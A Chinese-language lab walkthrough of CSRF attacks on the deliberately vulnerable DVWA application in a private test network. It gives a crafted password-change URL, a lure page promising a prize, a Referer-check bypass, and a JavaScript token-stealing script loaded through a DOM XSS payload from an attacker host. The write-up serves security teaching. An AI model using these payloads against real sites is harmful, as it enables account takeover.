1.1 CSRF原理
1.1.1 csrf简单理解
假设用户已经保存某网站的登录信息,下次登录不需要认证,此时黑客构造一个访问该站点的链接并添加如:修改密码、转账等操作的参数,用户点击链接后黑客构造的参数被执行,这就是最简单的CSRF攻击方式。
1.1.2 攻击流程图
1.1.3 实验环境
序号 | 主机IP | 主机系统 | 主机角色 |
1 | 192.168.10.180 | Kali | 攻击机 |
2 | 192.168.10.159 | Centos7 64位 | DVWA |
3 | 192.168.10.157 | Windows 7 32位 | 被攻击机 |
1.2 基于DVWA的low级别csrf攻击
1.2.1 分析源码
通过查看代码可以看到代码中没有任何的过滤,参数直接传递到了$pass_ new和$pass_ conf中并带入数据库中执行,但是带入数据库中执行时通过mysqI的函数对sql语句进行了过滤,不过并不影响我们正常的修改密码操作。
1.2.2 构造URL链接
1.2.2.1 使用burpsuite抓包
1.2.2.2 构造完整URL
获得修改密码的请求链接为,红色部分是修改密码传递的参数:
http://192.168.10.159/DVWA/vulnerabilities/csrf/<span style="color: #ff0000;">?password_new=123456&password_conf=123456&Change=Change</span>
注意:只要用户访问这个链接就可以把用户的密码改为123456
1.2.3 验证CSRF攻击
1.2.3.1 其他用户登录DVWA
1.2.3.2 修改安全级别为low
1.2.3.3 访问攻击链接
后续登录需要使用密码123456才能登录。
1.2.4 构造恶意链接
1.2.4.1 创建恶意页面
# vim /var/www/html/csrf.html <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>恭喜你中奖了</title> </head> <body> <a href='http://192.168.10.159/DVWA/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change'>点击这里领取百万大奖</a> </body> </html>
1.2.4.2 模拟用户点击恶意网址
1.2.4.3 密码修改成功
1.3 基于DVWA的medium级别csrf攻击
1.3.1 分析源码
代码中使用stripos函数对HTTP Referer进行了校验:
stripos()函数作用:查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer告诉服务器我是从哪个页面链接过来的,服务器基于此可以获得一些信息用于处理。在PHP中使用$_ SERVER['HTTP REFERER']获取页面提交请求中的Referer值。
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
条件成功,说明此网址是从本网站,跳转过来的的;
判断失败,说明此网址不是从本网站,跳转过来的。
1.3.2 检查直接修改和其他页面修改的区别
1.3.2.1 正常修改密码的情况
Referer: http://192.168.10.159/DVWA/vulnerabilities/csrf/
PS:抓完以后点击Drop弃请求,否则密码就修改成功了,我们还需要再次修改页面代码。
1.3.2.2 通过其他页面修改密码的情况
Referer: http://192.168.10.180/
PS:这里也选择丢弃,我们只需记录Referer信息即可。
1.3.2.3 对比referer信息
原始:http://192.168.10.159/DVWA/vulnerabilities/csrf/
伪造:http://192.168.10.180/
我们可以看到伪造的请求并不符合代码中对Referer信息的过滤,在伪造的链接中找不到$_ SERVER[ 'SERVER NAME'],即找不到192.168.10.159这个IP地址。
1.3.3 绕过referer过滤
我们通过修改网站目录结构来让Referer满足过滤规则。
注意:此方法对新版firefox和chrome已失效,只能以IE做测试。
1.3.3.1 新建恶意网址站点
新建一个名字是192.168.10.159的目录:
# mkdir -p /var/www/html/192.168.10.159 # mv /var/www/html/csrf.html /var/www/html/192.168.10.159/ # chown -R www-data.www-data /var/www/html/192.168.10.159
1.3.3.2 模拟用户点击恶意网址
1.3.3.3 验证攻击情况
1.4 基于DVWA的High级别csrf攻击
1.4.1 分析源码
可以看到High级别添加了token的认证,token 可以保证每个请求的token都是唯一的,是用来防护CSRF的常用方法,我们不可能知道用户的token是什么,所以我们需要利用其它XSS方法来进行利用。
1.4.2 使用XSS(DOM)漏洞进行csrf攻击
我们现在得到了一个XSS漏洞,可以让页面加载我们构造的js文件来执行CSRF攻击代码。
1.4.2.1 创建攻击js文件
# vim /var/www/html/csrf.js //弹出cookie alert(document.cookie); //定义AJAX加载的页面 var theUrl='http://192.168.10.159/DVWA/vulnerabilities/csrf/'; //匹配浏览器 if(window.XMLHttpRequest){ // IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); }else{ // IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } var count=0; //页面加载完成后执行函数 xmlhttp.onreadystatechange=function(){ //判断请求已完成并且响应就绪状态码为200时执行代码 if (xmlhttp.readyState==4 && xmlhttp.status==200){ //页面内容存储到text中进行匹配token var text = xmlhttp.responseText; console.log(text); var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); //弹出token alert(match[1]); var token = match[1]; //定义payload url并绑定token为我们从页面匹配到的token并且定义新的密码,新密码是admin var new_url = 'http://192.168.10.159/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change' //GET方式提交一次new_url if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; //GET方式提交theUrl xmlhttp.open("GET",theUrl,false); xmlhttp.send();
- 脚本说明:
- 通过XMLHttpRequest获取csrf页面内容
- 解析新的token将令牌与提交的密码参数相关联并提交数据
总结起来就是通过XMLHttpRequest在页面中加载csrf页面然后获取到新的token进行提交数据。
1.4.2.2 构建XSS(DOM)的payload
通过XSS攻击加载js代码进行CSRF攻击:
http://192.168.10.159/DVWA/vulnerabilities/xss_d/?default=English#<script src="http://192.168.10.180/csrf.js"></script>
1.4.2.3 执行payload
弹出cookie:
弹出token:
获取新的token进行关联然后提交修改密码操作:
执行完成后admin密码修改为admin。
1.5 CSRF漏洞预防方法
如果Web应用程序的HTTP请求中没有对应的预防措施,那么很大程度上就确定存在CSRF漏洞。
